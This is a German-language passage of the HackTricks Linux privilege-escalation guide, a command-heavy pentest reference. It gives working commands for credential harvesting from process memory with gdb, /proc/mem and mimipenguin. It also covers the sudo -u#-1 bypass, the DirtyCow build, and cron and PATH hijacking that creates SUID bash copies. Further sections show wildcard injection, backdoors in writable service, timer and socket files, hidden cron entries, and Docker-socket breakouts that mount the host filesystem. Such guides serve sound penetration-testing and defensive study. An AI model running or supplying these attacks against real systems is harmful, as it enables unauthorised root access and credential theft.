Linux Privilege Escalation

Unterstützen Sie HackTricks

• Überprüfen Sie die Abonnementpläne!

• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.

• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositorys senden.

Systeminformationen

Betriebssysteminformationen

Lassen Sie uns damit beginnen, etwas Wissen über das ausgeführte Betriebssystem zu erlangen.

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Pfad

Wenn Sie Schreibberechtigungen für einen beliebigen Ordner innerhalb der PATH-Variablen haben, können Sie möglicherweise einige Bibliotheken oder Binärdateien übernehmen:

echo $PATH

Umgebungsinfo

Interessante Informationen, Passwörter oder API-Schlüssel in den Umgebungsvariablen?

(env || set) 2>/dev/null

Kernel-Exploits

Überprüfen Sie die Kernel-Version und ob es einen Exploit gibt, der verwendet werden kann, um Berechtigungen zu eskalieren.

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Sie können eine gute Liste von anfälligen Kerneln und bereits kompilierten Exploits hier finden: https://github.com/lucyoa/kernel-exploits und exploitdb sploits. Andere Websites, auf denen Sie einige kompilierte Exploits finden können: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Um alle anfälligen Kernelversionen von dieser Website zu extrahieren, können Sie Folgendes tun:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Tools, die bei der Suche nach Kernel-Exploits helfen könnten, sind:

linux-exploit-suggester.sh linux-exploit-suggester2.pl linuxprivchecker.py (ausführen im Opfer, überprüft nur Exploits für Kernel 2.x)

Suchen Sie immer die Kernel-Version in Google, vielleicht ist Ihre Kernel-Version in einem Kernel-Exploit erwähnt und dann sind Sie sicher, dass dieser Exploit gültig ist.

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo-Version

Basierend auf den anfälligen sudo-Versionen, die erscheinen in:

searchsploit sudo

Sie können überprüfen, ob die sudo-Version anfällig ist, indem Sie dieses grep verwenden.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

Von @sickrov

sudo -u#-1 /bin/bash

Dmesg Signaturüberprüfung fehlgeschlagen

Überprüfen Sie die smasher2-Box von HTB für ein Beispiel, wie diese Schwachstelle ausgenutzt werden könnte

dmesg 2>/dev/null | grep "signature"

Weitere Systemenumerierung

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Ermitteln möglicher Verteidigungen

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

Grsecurity ist eine umfassende Sicherheitserweiterung für den Linux-Kernel, die zahlreiche Funktionen zur Verbesserung der Sicherheit und zur Verhinderung von Privilege-Eskalationen bietet.

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

Execshield ist eine Technologie, die in einigen Linux-Kerneln implementiert ist, um die Ausführung von Schadcode zu erschweren.

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

SElinux steht für Security-Enhanced Linux und ist eine Sicherheitserweiterung für das Linux-Betriebssystem. Es implementiert Mandatory Access Controls (MAC) und bietet zusätzliche Sicherheitsebenen, um die Systemintegrität zu schützen.

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

Address Space Layout Randomization (ASLR) ist eine Sicherheitsfunktion, die dazu dient, die Vorhersagbarkeit von Speicheradressen zu verringern und die Ausnutzung von Sicherheitslücken durch Angreifer zu erschweren.

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Ausbruch

Wenn Sie sich innerhalb eines Docker-Containers befinden, können Sie versuchen, daraus auszubrechen:

Docker Security

Laufwerke

Überprüfen Sie, was gemountet und nicht gemountet ist, wo und warum. Wenn etwas nicht gemountet ist, könnten Sie versuchen, es zu mounten und nach privaten Informationen zu suchen.

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Nützliche Software

Ermitteln Sie nützliche Binärdateien

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Auch überprüfen, ob ein Compiler installiert ist. Dies ist nützlich, wenn Sie einen Kernel-Exploit verwenden müssen, da empfohlen wird, ihn auf dem Gerät zu kompilieren, auf dem Sie ihn verwenden werden (oder auf einem ähnlichen).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Installierte verwundbare Software

Überprüfen Sie die Version der installierten Pakete und Dienste. Möglicherweise gibt es eine alte Nagios-Version (zum Beispiel), die für die Eskalation von Berechtigungen ausgenutzt werden könnte... Es wird empfohlen, manuell die Version der verdächtigeren installierten Software zu überprüfen.

dpkg -l #Debian
rpm -qa #Centos

Wenn Sie SSH-Zugriff auf die Maschine haben, können Sie auch openVAS verwenden, um nach veralteter und verwundbarer Software innerhalb der Maschine zu suchen.

Beachten Sie, dass diese Befehle viele Informationen anzeigen werden, die größtenteils nutzlos sind. Daher wird empfohlen, Anwendungen wie OpenVAS oder ähnliche zu verwenden, die überprüfen, ob eine installierte Softwareversion anfällig für bekannte Exploits ist.

Prozesse

Werfen Sie einen Blick darauf, welche Prozesse ausgeführt werden, und prüfen Sie, ob ein Prozess mehr Berechtigungen hat als er sollte (vielleicht wird ein Tomcat von root ausgeführt?)

ps aux
ps -ef
top -n 1

Immer auf mögliche electron/cef/chromium Debugging-Tools achten, die laufen, du könntest sie missbrauchen, um Privilegien zu eskalieren. Linpeas erkennt diese, indem es den --inspect-Parameter in der Befehlszeile des Prozesses überprüft. Überprüfe auch deine Berechtigungen über die Prozess-Binärdateien, vielleicht kannst du jemanden überschreiben.

Prozessüberwachung

Du kannst Tools wie pspy verwenden, um Prozesse zu überwachen. Dies kann sehr nützlich sein, um verwundbare Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn eine Reihe von Anforderungen erfüllt sind.

Prozessspeicher

Einige Dienste eines Servers speichern Zugangsdaten im Klartext im Speicher. Normalerweise benötigst du Root-Berechtigungen, um den Speicher von Prozessen zu lesen, die anderen Benutzern gehören. Daher ist dies normalerweise nützlicher, wenn du bereits Root bist und mehr Zugangsdaten entdecken möchtest. Denke jedoch daran, dass als regulärer Benutzer den Speicher der Prozesse, die dir gehören, lesen kannst.

Beachte, dass heutzutage die meisten Maschinen ptrace standardmäßig nicht zulassen, was bedeutet, dass du keine anderen Prozesse dumpen kannst, die deinem unprivilegierten Benutzer gehören.

Die Datei /proc/sys/kernel/yama/ptrace_scope steuert die Zugänglichkeit von ptrace:

• kernel.yama.ptrace_scope = 0: Alle Prozesse können debuggt werden, solange sie die gleiche uid haben. So funktionierte das klassische Tracing.

• kernel.yama.ptrace_scope = 1: Nur ein übergeordneter Prozess kann debuggt werden.

• kernel.yama.ptrace_scope = 2: Nur Admins können ptrace verwenden, da es die CAP_SYS_PTRACE-Fähigkeit erfordert.

• kernel.yama.ptrace_scope = 3: Keine Prozesse dürfen mit ptrace verfolgt werden. Nach dem Setzen ist ein Neustart erforderlich, um das Tracing wieder zu aktivieren.

GDB

Wenn du Zugriff auf den Speicher eines FTP-Dienstes hast (zum Beispiel), könntest du den Heap erhalten und nach Zugangsdaten darin suchen.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB Skript

dump-memory.sh

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Für eine gegebene Prozess-ID zeigt maps, wie der Speicher im virtuellen Adressraum dieses Prozesses abgebildet ist; es zeigt auch die Berechtigungen jeder abgebildeten Region. Die mem Pseudo-Datei stellt den Speicher des Prozesses selbst dar. Aus der maps-Datei wissen wir, welche Speicherregionen lesbar sind und ihre Offsets. Wir verwenden diese Informationen, um in die mem-Datei zu suchen und alle lesbaren Regionen in eine Datei zu dumpen.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem bietet Zugriff auf den physischen Speicher des Systems, nicht den virtuellen Speicher. Der virtuelle Adressraum des Kernels kann über /dev/kmem zugegriffen werden. In der Regel ist /dev/mem nur lesbar für root und die kmem Gruppe.

strings /dev/mem -n10 | grep -i PASS

ProcDump für Linux

ProcDump ist eine Linux-Neugestaltung des klassischen ProcDump-Tools aus der Sysinternals-Suite von Tools für Windows. Hol es dir unter https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Werkzeuge

Um den Speicher eines Prozesses zu dumpen, könnten Sie folgendes verwenden:

• https://github.com/Sysinternals/ProcDump-for-Linux

• https://github.com/hajzer/bash-memory-dump (root) - _Sie können manuell die Root-Anforderungen entfernen und den Prozess dumpen, der Ihnen gehört

• Skript A.5 von https://www.delaat.net/rp/2016-2017/p97/report.pdf (Root-Zugriff erforderlich)

Anmeldeinformationen aus dem Prozessspeicher

Manuelles Beispiel

Wenn Sie feststellen, dass der Authentifizierungsprozess läuft:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Sie können den Prozess dumpen (siehe vorherige Abschnitte, um verschiedene Möglichkeiten zum Dumpen des Speichers eines Prozesses zu finden) und nach Anmeldedaten im Speicher suchen:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Das Tool https://github.com/huntergregal/mimipenguin wird klare Textpasswörter aus dem Speicher stehlen und aus einigen bekannten Dateien. Es erfordert Root-Berechtigungen, um ordnungsgemäß zu funktionieren.

Funktion	Prozessname
GDM-Passwort (Kali-Desktop, Debian-Desktop)	gdm-password
Gnome-Schlüsselbund (Ubuntu-Desktop, ArchLinux-Desktop)	gnome-keyring-daemon
LightDM (Ubuntu-Desktop)	lightdm
VSFTPd (Aktive FTP-Verbindungen)	vsftpd
Apache2 (Aktive HTTP Basic Auth-Sitzungen)	apache2
OpenSSH (Aktive SSH-Sitzungen - Sudo-Nutzung)	sshd:

Search Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Geplante/Cron-Jobs

Überprüfen Sie, ob ein geplanter Job anfällig ist. Möglicherweise können Sie von einem Skript profitieren, das von root ausgeführt wird (Wildcard-Schwachstelle? Dateien ändern, die von root verwendet werden? Symlinks verwenden? Spezifische Dateien im Verzeichnis erstellen, das von root verwendet wird?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron-Pfad

Zum Beispiel, innerhalb von /etc/crontab kannst du den PATH finden: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Beachte, wie der Benutzer "user" Schreibrechte über /home/user hat)

Wenn der Root-Benutzer in diesem Crontab versucht, einen Befehl oder ein Skript ohne Festlegung des Pfads auszuführen. Zum Beispiel: * * * * root overwrite.sh Dann kannst du eine Root-Shell erhalten, indem du:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron mit einem Skript mit einem Platzhalter verwenden (Platzhalter-Injektion)

Wenn ein Skript von root ausgeführt wird und ein "*" in einem Befehl vorhanden ist, könnten Sie dies ausnutzen, um unerwartete Dinge zu tun (wie z.B. Berechtigungserweiterung). Beispiel:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Wenn das Platzhalterzeichen von einem Pfad wie /some/path/* gefolgt wird, ist es nicht anfällig (sogar ./* ist es nicht).

Lesen Sie die folgende Seite für weitere Tricks zur Ausnutzung von Platzhaltern:

Wildcards Spare tricks

Überschreiben von Cron-Skripten und Symbolischen Links

Wenn Sie ein Cron-Skript bearbeiten können, das von root ausgeführt wird, können Sie sehr einfach eine Shell erhalten:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Wenn das Skript, das von root ausgeführt wird, ein Verzeichnis verwendet, auf das Sie vollständigen Zugriff haben, könnte es nützlich sein, dieses Verzeichnis zu löschen und einen symbolischen Link zu einem anderen Verzeichnis zu erstellen, der ein von Ihnen kontrolliertes Skript bereitstellt.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Häufige Cron-Jobs

Sie können die Prozesse überwachen, um nach Prozessen zu suchen, die alle 1, 2 oder 5 Minuten ausgeführt werden. Möglicherweise können Sie dies ausnutzen und Berechtigungen eskalieren.

Zum Beispiel, um alle 0,1 Sekunden während 1 Minute zu überwachen, nach weniger ausgeführten Befehlen zu sortieren und die am häufigsten ausgeführten Befehle zu löschen, können Sie Folgendes tun:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Sie können auch pspy verwenden (dies überwacht und listet jeden Prozess auf, der gestartet wird).

Unsichtbare Cron-Jobs

Es ist möglich, einen Cron-Job zu erstellen, indem Sie einen Wagenrücklauf nach einem Kommentar einfügen (ohne Zeilenumbruchzeichen), und der Cron-Job wird funktionieren. Beispiel (beachten Sie das Wagenrücklaufzeichen):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Dienste

Beschreibbare .service Dateien

Überprüfen Sie, ob Sie eine beliebige .service-Datei schreiben können. Wenn ja, könnten Sie sie ändern, damit sie Ihre Hintertür ausführt, wenn der Dienst gestartet, neugestartet oder gestoppt wird (eventuell müssen Sie auf einen Neustart des Systems warten). Erstellen Sie beispielsweise Ihre Hintertür innerhalb der .service-Datei mit ExecStart=/tmp/script.sh

Beschreibbare Dienst-Binärdateien

Denken Sie daran, dass Sie, wenn Sie Schreibberechtigungen für Binärdateien haben, die von Diensten ausgeführt werden, diese gegen Hintertüren austauschen können, sodass die Hintertüren ausgeführt werden, wenn die Dienste erneut ausgeführt werden.

systemd-PATH - Relative Pfade

Sie können den vom systemd verwendeten PATH mit folgendem Befehl anzeigen:

systemctl show-environment

Wenn Sie feststellen, dass Sie in einem der Ordner des Pfads schreiben können, können Sie möglicherweise Berechtigungen eskalieren. Sie müssen nach relativen Pfaden suchen, die in den Konfigurationsdateien des Dienstes verwendet werden, wie:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Dann erstellen Sie eine ausführbare Datei mit dem gleichen Namen wie der relative Pfadbefehl im systemd-PATH-Ordner, den Sie schreiben können, und wenn der Dienst aufgefordert wird, die verwundbare Aktion (Start, Stop, Reload) auszuführen, wird Ihre Hintertür ausgeführt (unprivilegierte Benutzer können normalerweise keine Dienste starten/stoppen, aber überprüfen Sie, ob Sie sudo -l verwenden können).

Weitere Informationen zu Diensten finden Sie unter man systemd.service.

Timer

Timer sind systemd-Einheitsdateien, deren Name mit **.timer** endet und die **.service**-Dateien oder Ereignisse steuern. Timer können als Alternative zu Cron verwendet werden, da sie eine integrierte Unterstützung für Kalenderzeitereignisse und monotonische Zeitereignisse haben und asynchron ausgeführt werden können.

Sie können alle Timer mit folgendem Befehl auflisten:

systemctl list-timers --all

Beschreibbare Timer

Wenn Sie einen Timer ändern können, können Sie ihn dazu bringen, einige vorhandene systemd.unit-Ausführungen auszuführen (wie z. B. eine .service oder ein .target).

Unit=backdoor.service

Im Dokumentationsbereich können Sie lesen, was die Einheit ist:

Die Einheit, die aktiviert werden soll, wenn dieser Timer abläuft. Das Argument ist ein Einheitsname, dessen Suffix nicht ".timer" ist. Wenn nicht angegeben, wird dieser Wert standardmäßig auf einen Dienst festgelegt, der den gleichen Namen wie die Timer-Einheit hat, außer dem Suffix. (Siehe oben.) Es wird empfohlen, dass der aktiviert Einheitsname und der Einheitsname der Timer-Einheit identisch benannt sind, außer dem Suffix.

Daher müssten Sie diese Berechtigung missbrauchen, indem Sie:

• Suchen Sie nach einer systemd-Einheit (wie einer .service), die eine beschreibbare Binärdatei ausführt

• Suchen Sie nach einer systemd-Einheit, die einen relativen Pfad ausführt und über beschreibbare Berechtigungen für den systemd-Pfad verfügt (um diese ausführbare Datei zu imitieren)

Erfahren Sie mehr über Timer mit man systemd.timer.

Timer aktivieren

Um einen Timer zu aktivieren, benötigen Sie Root-Berechtigungen und führen aus:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Beachten Sie, dass der Timer durch Erstellen eines Symlinks darauf in /etc/systemd/system/<WantedBy_section>.wants/<name>.timer aktiviert wird.

Sockets

Unix-Domänen-Sockets (UDS) ermöglichen die Prozesskommunikation innerhalb von Client-Server-Modellen auf denselben oder verschiedenen Maschinen. Sie nutzen Standard-Unix-Deskriptor-Dateien für die zwischencomputerkommunikation und werden über .socket-Dateien eingerichtet.

Sockets können mit .socket-Dateien konfiguriert werden.

Erfahren Sie mehr über Sockets mit man systemd.socket. In dieser Datei können mehrere interessante Parameter konfiguriert werden:

• ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Diese Optionen sind unterschiedlich, aber eine Zusammenfassung wird verwendet, um anzuzeigen, wo der Socket lauschen wird (der Pfad der AF_UNIX-Socketdatei, die IPv4/6 und/oder Portnummer zum Lauschen usw.).

• Accept: Nimmt ein boolesches Argument an. Wenn true, wird eine Serviceinstanz für jede eingehende Verbindung erstellt und nur der Verbindungssocket wird an sie übergeben. Wenn false, werden alle lauschenden Sockets selbst an die gestartete Serviceeinheit übergeben, und es wird nur eine Serviceeinheit für alle Verbindungen erstellt. Dieser Wert wird für Datagramm-Sockets und FIFOs ignoriert, bei denen eine einzelne Serviceeinheit bedingungslos den gesamten eingehenden Datenverkehr verarbeitet. Standardmäßig auf false gesetzt. Aus Leistungsgründen wird empfohlen, neue Daemons nur so zu schreiben, dass sie für Accept=no geeignet sind.

• ExecStartPre, ExecStartPost: Nimmt eine oder mehrere Befehlszeilen an, die vor oder nach dem Erstellen und Binden der lauschenden Sockets/FIFOs ausgeführt werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess.

• ExecStopPre, ExecStopPost: Zusätzliche Befehle, die vor oder nach dem Schließen und Entfernen der lauschenden Sockets/FIFOs ausgeführt werden.

• Service: Gibt den Servicenamen an, der bei eingehendem Datenverkehr aktiviert werden soll. Diese Einstellung ist nur für Sockets mit Accept=no zulässig. Es wird standardmäßig auf den Dienst gesetzt, der denselben Namen wie der Socket trägt (mit dem ersetzen des Suffixes). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden.

Beschreibbare .socket-Dateien

Wenn Sie eine beschreibbare .socket-Datei finden, können Sie am Anfang des [Socket]-Abschnitts etwas wie folgt hinzufügen: ExecStartPre=/home/kali/sys/backdoor und die Hintertür wird ausgeführt, bevor der Socket erstellt wird. Daher müssen Sie wahrscheinlich warten, bis die Maschine neu gestartet wird. Beachten Sie, dass das System diese Socketdateikonfiguration verwenden muss, damit die Hintertür nicht ausgeführt wird.

Beschreibbare Sockets

Wenn Sie einen beschreibbaren Socket identifizieren (jetzt sprechen wir über Unix-Sockets und nicht über die Konfigurationsdateien .socket), können Sie mit diesem Socket kommunizieren und möglicherweise eine Schwachstelle ausnutzen.

Enumerieren von Unix-Sockets

netstat -a -p --unix

Rohverbindung

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Ausbeispiel:

Socket Command Injection

HTTP-Sockets

Beachten Sie, dass möglicherweise einige Sockets auf HTTP-Anfragen lauschen (Ich spreche nicht von .socket-Dateien, sondern von Dateien, die als Unix-Sockets fungieren). Sie können dies überprüfen mit:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Beschreibbarer Docker-Socket

Der Docker-Socket, der sich häufig unter /var/run/docker.sock befindet, ist eine wichtige Datei, die gesichert werden sollte. Standardmäßig ist sie vom Benutzer root und den Mitgliedern der Gruppe docker beschreibbar. Wenn Sie Schreibzugriff auf diesen Socket haben, kann dies zu einer Privilegieneskalation führen. Hier ist eine Aufschlüsselung, wie dies gemacht werden kann, und alternative Methoden, wenn die Docker CLI nicht verfügbar ist.

Privilegieneskalation mit Docker CLI

Wenn Sie Schreibzugriff auf den Docker-Socket haben, können Sie Privilegien mit den folgenden Befehlen eskalieren:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Diese Befehle ermöglichen es Ihnen, einen Container mit Root-Zugriff auf das Dateisystem des Hosts auszuführen.

Verwendung der Docker-API direkt

In Fällen, in denen die Docker-Befehlszeilenschnittstelle nicht verfügbar ist, kann der Docker-Socket weiterhin mithilfe der Docker-API und curl-Befehlen manipuliert werden.

1. Docker-Images auflisten: Abrufen der Liste der verfügbaren Images.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

2. Einen Container erstellen: Senden Sie eine Anfrage zur Erstellung eines Containers, der das Stammverzeichnis des Hostsystems einbindet.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Starten Sie den neu erstellten Container:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start

3. Mit dem Container verbinden: Verwenden Sie socat, um eine Verbindung zum Container herzustellen und die Ausführung von Befehlen darin zu ermöglichen.

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Nachdem die socat-Verbindung eingerichtet wurde, können Befehle direkt im Container mit Root-Zugriff auf das Dateisystem des Hosts ausgeführt werden.

Andere

Beachten Sie, dass Sie, wenn Sie Schreibberechtigungen über den Docker-Socket haben, weil Sie in der Gruppe docker sind, weitere Möglichkeiten haben, Berechtigungen zu eskalieren. Wenn die Docker-API auf einem Port lauscht, können Sie sie auch kompromittieren.

Überprüfen Sie weitere Möglichkeiten, aus Docker auszubrechen oder es zu missbrauchen, um Berechtigungen zu eskalieren in:

Docker Security

Containerd (ctr) Privilege Escalation

Wenn Sie feststellen, dass Sie den ctr-Befehl verwenden können, lesen Sie die folgende Seite, da Sie ihn möglicherweise missbrauchen können, um Berechtigungen zu eskalieren:

Containerd (ctr) Privilege Escalation

RunC Privilege Escalation

Wenn Sie feststellen, dass Sie den runc-Befehl verwenden können, lesen Sie die folgende Seite, da Sie ihn möglicherweise missbrauchen können, um Berechtigungen zu eskalieren:

RunC Privilege Escalation

D-Bus

D-Bus ist ein ausgeklügeltes Inter-Process Communication (IPC)-System, das Anwendungen ermöglicht, effizient miteinander zu interagieren und Daten auszutauschen. Entwickelt mit dem modernen Linux-System im Hinterkopf, bietet es ein robustes Framework für verschiedene Formen der Anwendungs­kommunikation.

Das System ist vielseitig und unterstützt grundlegende IPC, das den Datenaustausch zwischen Prozessen verbessert, ähnlich wie erweiterte UNIX-Domänen-Sockets. Darüber hinaus unterstützt es das Senden von Ereignissen oder Signalen, was eine nahtlose Integration zwischen Systemkomponenten fördert. Beispielsweise kann ein Signal von einem Bluetooth-Dämon über einen eingehenden Anruf einen Musikplayer dazu veranlassen, stumm zu schalten und so die Benutzererfahrung zu verbessern. Darüber hinaus unterstützt D-Bus ein Remote-Objektsystem, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse optimiert, die traditionell komplex waren.

D-Bus arbeitet nach einem Zulassen/Verweigern-Modell, das die Berechtigungen für Nachrichten (Methodenaufrufe, Signalausgaben usw.) basierend auf der kumulativen Wirkung übereinstimmender Richtlinien verwaltet. Diese Richtlinien spezifizieren Interaktionen mit dem Bus und ermöglichen potenziell eine Berechtigungserweiterung durch die Ausnutzung dieser Berechtigungen.

Ein Beispiel für eine solche Richtlinie in /etc/dbus-1/system.d/wpa_supplicant.conf wird bereitgestellt, die Berechtigungen für den Root-Benutzer zum Besitzen, Senden an und Empfangen von Nachrichten von fi.w1.wpa_supplicant1 festlegt.

Richtlinien ohne einen spezifizierten Benutzer oder eine Gruppe gelten universell, während Richtlinien im "default"-Kontext für alle gelten, die nicht von anderen spezifischen Richtlinien abgedeckt sind.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Erfahren Sie, wie Sie hier eine D-Bus-Kommunikation aufzählen und ausnutzen können:

D-Bus Enumeration & Command Injection Privilege Escalation

Netzwerk

Es ist immer interessant, das Netzwerk aufzuzählen und die Position der Maschine herauszufinden.

Generische Aufzählung

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Offene Ports

Überprüfen Sie immer die Netzwerkdienste, die auf dem Gerät ausgeführt werden, mit denen Sie vor dem Zugriff nicht interagieren konnten:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Überprüfen Sie, ob Sie den Datenverkehr sniffen können. Wenn Sie dies können, könnten Sie in der Lage sein, einige Anmeldeinformationen abzufangen.

timeout 1 tcpdump

Benutzer

Generische Aufzählung

